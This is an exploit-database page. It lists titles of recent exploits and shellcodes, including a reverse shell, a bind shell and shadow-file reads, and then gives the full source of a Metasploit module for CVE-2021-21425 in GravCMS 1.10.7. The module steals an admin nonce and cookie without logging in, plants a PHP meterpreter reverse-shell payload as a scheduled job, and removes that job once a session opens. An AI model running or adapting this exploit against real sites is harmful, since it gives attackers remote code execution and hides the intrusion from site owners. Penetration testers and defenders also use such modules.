
95 changes to exploits/shellcodes Product Key Explorer 4.2.7 - 'multiple' Denial of Service (PoC) Managed Switch Port Mapping Tool 2.85.2 - Denial of Service (PoC) AgataSoft PingMaster Pro 2.1 - Denial of Service (PoC) Nsauditor 3.2.2.0 - 'Event Description' Denial of Service (PoC) WordPress Plugin WPGraphQL 1.3.5 - Denial of Service Sandboxie 5.49.7 - Denial of Service (PoC) WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC) iDailyDiary 4.30 - Denial of Service (PoC) RarmaRadio 2.72.8 - Denial of Service (PoC) DupTerminator 1.4.5639.37199 - Denial of Service (PoC) Color Notes 1.4 - Denial of Service (PoC) Macaron Notes great notebook 5.5 - Denial of Service (PoC) My Notes Safe 5.3 - Denial of Service (PoC) n+otes 1.6.2 - Denial of Service (PoC) Telegram Desktop 2.9.2 - Denial of Service (PoC) Mini-XML 3.2 - Heap Overflow Solaris 10 (Intel) - 'dtprintinfo' Local Privilege Escalation (2) Solaris 10 (Intel) - 'dtprintinfo' Local Privilege Escalation (3) Solaris 10 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1) Solaris 10 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2) MariaDB 10.2 - 'wsrep_provider' OS Command Execution Microsoft Internet Explorer 11 and WPAD service 'Jscript.dll' - Use-After-Free Visual Studio Code 1.47.1 - Denial of Service (PoC) DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE) MySQL User-Defined (Linux) x32 / x86_64 - 'sys_exec' Local Privilege Escalation (2) Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial of Service (PoC) GNU Wget < 1.18 - Arbitrary File Upload (2) WebCTRL OEM 6.5 - 'locale' Reflected Cross-Site Scripting (XSS) E-Learning System 1.0 - Authentication Bypass PEEL Shopping 9.3.0 - 'Comments' Persistent Cross-Site Scripting GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Persistent Cross-Site Scripting Selea Targa 512 IP OCR-ANPR Camera - Stream Disclosure (Unauthenticated) Library System 1.0 - Authentication Bypass Web Based Quiz System 1.0 - 'name' Persistent Cross-Site Scripting Dolibarr ERP 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE) GetSimple CMS My SMTP Contact Plugin 1.1.1 - Cross-Site Request Forgery GravCMS 1.10.7 - Unauthenticated Arbitrary File Write (Metasploit) Umbraco v8.14.1 - 'baseUrl' SSRF Cacti 1.2.12 - 'filter' SQL Injection GetSimple CMS Custom JS 0.1 - Cross-Site Request Forgery Internship Portal Management System 1.0 - Remote Code Execution(Unauthenticated) Markdown Explorer 0.1.1 - Persistent Cross-Site Scripting Xmind 2020 - Persistent Cross-Site Scripting Tagstoo 2.0.1 - Persistent Cross-Site Scripting SnipCommand 0.1.0 - Persistent Cross-Site Scripting Moeditor 0.2.0 - Persistent Cross-Site Scripting Marky 0.0.1 - Persistent Cross-Site Scripting StudyMD 0.3.2 - Persistent Cross-Site Scripting Freeter 1.2.1 - Persistent Cross-Site Scripting Markright 1.0 - Persistent Cross-Site Scripting Markdownify 1.2.0 - Persistent Cross-Site Scripting Anote 1.0 - Persistent Cross-Site Scripting Subrion CMS 4.2.1 - Arbitrary File Upload Printable Staff ID Card Creator System 1.0 - 'email' SQL Injection Schlix CMS 2.2.6-6 - Arbitary File Upload (Authenticated) Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver) CHIYU IoT Devices - Denial of Service (DoS) Zenario CMS 8.8.52729 - 'cID' SQL injection (Authenticated) TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated) WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 - Directory Traversal Atlassian Jira Server Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS) Scratch Desktop 3.17 - Remote Code Execution Church Management System 1.0 - Arbitrary File Upload (Authenticated) Phone Shop Sales Managements System 1.0 - Arbitrary File Upload Zoo Management System 1.0 - 'Multiple' Persistent Cross-Site-Scripting (XSS) WordPress Plugin Current Book 1.0.1 - 'Book Title' Persistent Cross-Site Scripting ForgeRock Access Manager 14.6.3 - Remote Code Execution (RCE) (Unauthenticated) KevinLAB BEMS 1.0 - Authentication Bypass Event Registration System with QR Code 1.0 - Authentication Bypass CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) Panasonic Sanyo CCTV Network Camera 2.03-0x - Cross-Site Request Forgery (Change Password) qdPM 9.2 - Password Exposure (Unauthenticated) ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) Movable Type 7 r.5002 - XMLRPC API OS Command Injection (Metasploit) GeoVision Geowebserver 5.3.3 - Local FIle Inclusion Simple Phone Book 1.0 - 'Username' SQL Injection (Unauthenticated) Umbraco CMS 8.9.1 - Directory Traversal Traffic Offense Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated) Dolibarr ERP 14.0.1 - Privilege Escalation Compro Technology IP Camera - 'killps.cgi' Denial of Service (DoS) Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation Phpwcms 1.9.30 - Arbitrary File Upload Windows/x86 - Download File (http://10.10.10.5:8080/2NWyfQ9T.hta) Via mshta + Execute + Stager Shellcode (143 bytes) Linux/x64 - Bind_tcp (0.0.0.0:4444) + Password (12345678) + Shell (/bin/sh) Shellcode (142 bytes) Linux/x64 - execve _cat /etc/shadow_ Shellcode (66 bytes) Windows/x86 - Add User Alfred to Administrators/Remote Desktop Users Group Shellcode (240 bytes) Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes) Windows/x64 - Dynamic NoNull Add RDP Admin (BOKU:SP3C1ALM0V3) Shellcode (387 Bytes) Linux/x86 - setreuid(0) + execve(_/bin/sh_) Shellcode (29 bytes) Linux/x86 - Bind (User Specified Port) Shell (/bin/sh) Shellcode (102 bytes) Linux/x86 - Reverse (dynamic IP and port/TCP) Shell (/bin/sh) Shellcode (86 bytes) Linux/x86 - Egghunter Reverse TCP Shell dynamic IP and port Shellcode Windows/x86 - WinExec PopCalc PEB & Export Directory Table NullFree Dynamic Shellcode (178 bytes) Windows/x86 - MessageBoxA PEB & Export Address Table NullFree/Dynamic Shellcode (230 bytes)
160 lines
No EOL
5.6 KiB
Ruby
Executable file
160 lines
No EOL
5.6 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'GravCMS Remote Command Execution',
|
|
'Description' => %q{
|
|
This module exploits arbitrary config write/update vulnerability to achieve remote code execution.
|
|
Unauthenticated users can execute a terminal command under the context of the web server user.
|
|
|
|
Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages.
|
|
In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without
|
|
needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of
|
|
existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes,
|
|
such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability,
|
|
an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command
|
|
under the context of the web-server user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2021-21425'],
|
|
['URL', 'https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/']
|
|
],
|
|
'Privileged' => true,
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'DefaultOptions' =>
|
|
{
|
|
'payload' => 'php/meterpreter/reverse_tcp',
|
|
'Encoder' => 'php/base64',
|
|
'WfsDelay' => 90
|
|
},
|
|
'Targets' => [ ['Automatic', {}] ],
|
|
'DisclosureDate' => '2021-03-29',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [
|
|
CONFIG_CHANGES # user/config/scheduler.yaml
|
|
]
|
|
}
|
|
)
|
|
)
|
|
|
|
end
|
|
|
|
def check
|
|
# During the fix, developers changed admin-nonce to login-nonce.
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'admin')
|
|
)
|
|
|
|
if res && !res.get_hidden_inputs.first['admin-nonce'].nil?
|
|
CheckCode::Appears
|
|
else
|
|
CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def capture_cookie_token
|
|
print_status 'Sending request to the admin path to generate cookie and token'
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'admin')
|
|
)
|
|
|
|
# Cookie must contain grav-site-az09-admin and admin-nonce form field must contain value
|
|
if res && res.get_cookies =~ /grav-site-[a-z0-9]+-admin=(\S*);/ && !res.get_hidden_inputs.first['admin-nonce'].nil?
|
|
print_good 'Cookie and CSRF token successfully extracted !'
|
|
else
|
|
fail_with Failure::UnexpectedReply, 'The server sent a response, but cookie and token was not found.'
|
|
end
|
|
|
|
@cookie = res.get_cookies
|
|
@admin_nonce = res.get_hidden_inputs.first['admin-nonce']
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
unless check == CheckCode::Appears
|
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
|
|
end
|
|
|
|
capture_cookie_token
|
|
|
|
@task_name = Rex::Text.rand_text_alpha_lower(5)
|
|
|
|
# Msf PHP payload does not contain quotes for many good reasons. But a single quote will surround PHP binary's
|
|
# parameter due to the command execution library of the GravCMS. For that reason, surrounding base64 part of the
|
|
# payload with a double quote is necessary to command executed successfully.
|
|
|
|
payload.encoded.sub! 'base64_decode(', 'base64_decode("'
|
|
payload.encoded.sub! '));', '"));'
|
|
|
|
print_status 'Implanting payload via scheduler feature'
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),
|
|
'cookie' => @cookie,
|
|
'vars_post' => {
|
|
'admin-nonce' => @admin_nonce,
|
|
'task' => 'SaveDefault',
|
|
"data[custom_jobs][#{@task_name}][command]" => '/usr/bin/php',
|
|
"data[custom_jobs][#{@task_name}][args]" => "-r #{payload.encoded}",
|
|
"data[custom_jobs][#{@task_name}][at]" => '* * * * *',
|
|
"data[custom_jobs][#{@task_name}][output]" => '',
|
|
"data[status][#{@task_name}]" => 'enabled',
|
|
"data[custom_jobs][#{@task_name}][output_mode]" => 'append'
|
|
}
|
|
)
|
|
|
|
if res && res.code == 200 && res.body.include?('Successfully saved')
|
|
print_good 'Scheduler successfully created ! Wait for 1 minute...'
|
|
end
|
|
|
|
end
|
|
|
|
def on_new_session
|
|
print_status 'Cleaning up the the scheduler...'
|
|
|
|
# Thanks to the YAML update method, we can remove the command details from the config file just by re-enabling
|
|
# the scheduler without any parameter:) It will leave the only command name in the config file.
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),
|
|
'cookie' => @cookie,
|
|
'vars_post' => {
|
|
'admin-nonce' => @admin_nonce,
|
|
'task' => 'SaveDefault',
|
|
"data[status][#{@task_name}]" => 'enabled'
|
|
}
|
|
)
|
|
|
|
if res && res.code == 200 && res.body.include?('Successfully saved')
|
|
print_good 'The scheduler config successfully cleaned up!'
|
|
end
|
|
|
|
end
|
|
|
|
end |